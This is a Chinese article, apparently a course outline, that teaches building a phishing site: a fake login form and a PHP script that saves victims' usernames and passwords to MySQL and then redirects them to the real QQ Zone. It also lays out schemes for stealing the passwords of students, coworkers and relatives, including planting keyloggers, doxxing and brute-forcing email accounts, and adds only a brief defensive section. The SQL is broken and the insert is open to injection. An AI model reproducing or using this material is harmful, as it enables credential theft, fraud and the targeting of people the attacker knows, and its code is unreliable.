钓鱼网站开发原理(社会工程学)

2024-06-22 21:20

本文主要是介绍钓鱼网站开发原理(社会工程学),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

钓鱼网站开发原理(社会工程学)

  • 一、课程简介
    • 1、课程大纲
    • 2、课程目标
    • 3、知识储备
  • 二、钓鱼网站简介
    • 1、什么是钓鱼网站
    • 2、开发&原理
  • 三、PHP环境搭建
    • 1、简介
    • 2、自动安装MySQL/apache/PHP
    • 3、安装navicat
  • 四、PDO表单入库案例
    • 1、语法
    • 2、显示登录表单
    • 3、入库(收集用户提交的数据)
  • 五、通过PHP开发钓鱼网站
  • 六、生活中隐形钓鱼网站(人肉搜索原理&提防)
    • 1、社会工程学简介(社工)
    • 2、社工实践
      • 1)需求:获取学生、公司同事、亲人等账号密码
      • 2)获取网络用户更多信息
    • 3、人肉搜索原理
    • 4、生活中隐形钓鱼网站
    • 5、提防

一、课程简介

1、课程大纲

钓鱼网站简介(是什么,怎么写的,原理)
PHP环境搭建(准备)
PDO表单入库(通过PHP收集用户数据)
通过PHP开发钓鱼网站
生活中隐形的钓鱼网站(人肉搜索原理&提防)

2、课程目标

通过本次公开课,大家可以

理解钓鱼网站概念&原理
掌握PHP环境搭建
掌握通过PHP的PDO扩展收集用户登录表单提交的数据
掌握钓鱼网站的开发
理解人肉搜索的原理&提防

3、知识储备

HTML基础
PHP基础
MySQL基础

二、钓鱼网站简介

1、什么是钓鱼网站

钓鱼网站:指伪装成银行/社交平台/购物平台,窃取用户提交的银行账号、密码等私密信息的网站。
简单概括:坏人制作了一个网站,通过各种手段将网址发给你,你没抗住诱惑输入了银行账号和密码。

2、开发&原理

步骤1:
通过各种渠道传递诱惑消息,诱导用户打开
利用传智PHP学科基础班DIV+CSS课程技术-》所开发的钓鱼网站

步骤2:
通过表单收集用户提交的账号&密码

三、PHP环境搭建

1、简介

工具:PHP study.exe(网址:http://phpstudy.php.cn/)
环境:
MySQL:存放数据
Apache:web服务器
PHP:将用户提交的账号密码保存到MySQL中

2、自动安装MySQL/apache/PHP

3、安装navicat

Navicat:数据库管理工具(MySQL),用于查看本地数据库中的表

#创建名为php的数据库
drop databse if exists php;
creat database php;
use php;
#创建表
drop table if exists users;
id int primary key auto_incream comment ‘编号’,
username varche(45) not null comment ‘账号’,
pwd varche(80) not null comment ‘密码’,
creat_at int not null default 0 comment ‘创建于’,
updated_at int not default 0 comment ‘更新于’
)charset=utf8;

四、PDO表单入库案例

1、语法

HTML知识点

表单:<form  action="./test.php" method="post"> </form>
账号:<input type="text" name="username" id="">
密码:<input type="password" name="pwd" id="">

PHP知识点

//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");

2、显示登录表单

步骤1:使用sublime创建test.html文件
步骤2:输入【!】按【tab】键
步骤3:输入【下述代码】即可

<form  action="./test.php" method="post"> <center>                       <p>账号:<input type="text" name="username" id=""></br></p><p>密码:<input type="password" name="pwd" id=""></br></p><input type="submit" value="登录"  style="width: 250px;height: 40px;background-color: blue; font-size:18px;color:white;"></center>
</form>

3、入库(收集用户提交的数据)

步骤1:创建test.php文件
步骤2:通过$_POST[‘NAME’] 接收数据
步骤3:通过PDO语法入库

<?php//服务器端脚本
//获取全部提交的数据  $_POST
//获取&_POST里面的指定数据 $_POST['表单的name属性值']
//打印数据           print_(待打印的数据)//print_r($POST)
$username = $_POST['username'];
$pwd = $_POST['pwd'];
$time = time();//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");
$realUrl='https://qzone.qq.com/';
//判断跳转
if($rs){echo "<script>alert('success');location.href='$realUrl'</script>";
}else{echo "<script>alert('failure');location.href='$realUrl'</script>";}?>
//提交信息后输出警告框提示信息,并跳转到真实网址

五、通过PHP开发钓鱼网站

步骤1:将钓鱼网站文件放到站点目录中
步骤2:访问测试
步骤3:通过PHP创建收集用户数据

六、生活中隐形钓鱼网站(人肉搜索原理&提防)

1、社会工程学简介(社工)

简单理解:
利用“人性”的心理弱点、本能反应、好奇心、信任、贪婪等心理,进行欺骗、伤害等危害手段、最终取得自身利益的手法。
应用场景:短信诈骗,电话诈骗如以知名人士的名义去推销诈骗等

2、社工实践

1)需求:获取学生、公司同事、亲人等账号密码

学生:角色讲师/同学-》通过PHP开发个人博客–》查看精品文章必须注册
同事:人物性格、兴趣爱好分析-》通过PHP开发偶像博客/论坛-》注册上厕所/吃饭电脑安装键盘记录精灵
亲人:通过PHP仿QQ空间相册(封面女友照片)-》发送亲人点击提示输入账号密码-》入库

2)获取网络用户更多信息

场景1:普通用户A通过钓鱼网站导致密码被盗
场景2:网站被攻击管理员邮箱和账号被盗
明确:80%的人的银行卡、QQ、微信、身份证等密码都存在关联或者直接一样
手法:通过落网用户的已知账号和密码-》进一步采集昵称、163邮箱、qq邮箱、贴吧等进行分析-》人肉-》尝试暴力破解(注:通过落网账号密码分析后获得163邮箱账号,尝试暴力破解,成功进入后如果是一个站长势必会进一步获得购买服务器等相关信息)

3、人肉搜索原理

准备:确定人肉角色
手法:获取该角色常用昵称、手机号、qq号、邮箱、微博等信息-》谷歌/百度
结果:真实性格、兴趣爱好、经历、历史照片等

练习
通过留下的账号信息进一步分析
1,点击头像进入个人主页
2,通过关注的贴吧-》兴趣爱好
3,回复的内容 -》性格人品思想
照片

还能搜索此人以前注册的网站

4、生活中隐形钓鱼网站

1)百度地图记录你去过的地方
2)微博提供接口(所有用户发布的说说动态) --》便于商家提供用户体验
3)智能手机相册同步云–》可能存在人脸识别大数据分析、万一数据泄露
4)安卓手机应用商店APP小心下载(注:避免钓鱼网站)
5)社交软件附近人/摇一摇(注:慎用你以为是女的,指不定就是我)

5、提防

1)避免在网上留下痕迹,如QQ、手机号等(注:可通过上述方式检测删除)
2)搞编程势必需要登录一些网站看资料或视频 --》 切记用小号密码123456
自己注册个小号,密码随意

这篇关于钓鱼网站开发原理(社会工程学)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1085445

相关文章

从原理到实战深入理解Java 断言assert

《从原理到实战深入理解Java断言assert》本文深入解析Java断言机制,涵盖语法、工作原理、启用方式及与异常的区别,推荐用于开发阶段的条件检查与状态验证,并强调生产环境应使用参数验证工具类替代... 目录深入理解 Java 断言(assert):从原理到实战引言:为什么需要断言?一、断言基础1.1 语

MySQL中的表连接原理分析

《MySQL中的表连接原理分析》:本文主要介绍MySQL中的表连接原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、表连接原理【1】驱动表和被驱动表【2】内连接【3】外连接【4编程】嵌套循环连接【5】join buffer4、总结1、背景

深度解析Spring AOP @Aspect 原理、实战与最佳实践教程

《深度解析SpringAOP@Aspect原理、实战与最佳实践教程》文章系统讲解了SpringAOP核心概念、实现方式及原理,涵盖横切关注点分离、代理机制(JDK/CGLIB)、切入点类型、性能... 目录1. @ASPect 核心概念1.1 AOP 编程范式1.2 @Aspect 关键特性2. 完整代码实

SpringBoot开发中十大常见陷阱深度解析与避坑指南

《SpringBoot开发中十大常见陷阱深度解析与避坑指南》在SpringBoot的开发过程中,即使是经验丰富的开发者也难免会遇到各种棘手的问题,本文将针对SpringBoot开发中十大常见的“坑... 目录引言一、配置总出错?是不是同时用了.properties和.yml?二、换个位置配置就失效?搞清楚加

Java Stream的distinct去重原理分析

《JavaStream的distinct去重原理分析》Javastream中的distinct方法用于去除流中的重复元素,它返回一个包含过滤后唯一元素的新流,该方法会根据元素的hashcode和eq... 目录一、distinct 的基础用法与核心特性二、distinct 的底层实现原理1. 顺序流中的去重

Python中对FFmpeg封装开发库FFmpy详解

《Python中对FFmpeg封装开发库FFmpy详解》:本文主要介绍Python中对FFmpeg封装开发库FFmpy,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、FFmpy简介与安装1.1 FFmpy概述1.2 安装方法二、FFmpy核心类与方法2.1 FF

Spring @Scheduled注解及工作原理

《Spring@Scheduled注解及工作原理》Spring的@Scheduled注解用于标记定时任务,无需额外库,需配置@EnableScheduling,设置fixedRate、fixedDe... 目录1.@Scheduled注解定义2.配置 @Scheduled2.1 开启定时任务支持2.2 创建

Spring Boot 实现 IP 限流的原理、实践与利弊解析

《SpringBoot实现IP限流的原理、实践与利弊解析》在SpringBoot中实现IP限流是一种简单而有效的方式来保障系统的稳定性和可用性,本文给大家介绍SpringBoot实现IP限... 目录一、引言二、IP 限流原理2.1 令牌桶算法2.2 漏桶算法三、使用场景3.1 防止恶意攻击3.2 控制资源

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

Python实例题之pygame开发打飞机游戏实例代码

《Python实例题之pygame开发打飞机游戏实例代码》对于python的学习者,能够写出一个飞机大战的程序代码,是不是感觉到非常的开心,:本文主要介绍Python实例题之pygame开发打飞机... 目录题目pygame-aircraft-game使用 Pygame 开发的打飞机游戏脚本代码解释初始化部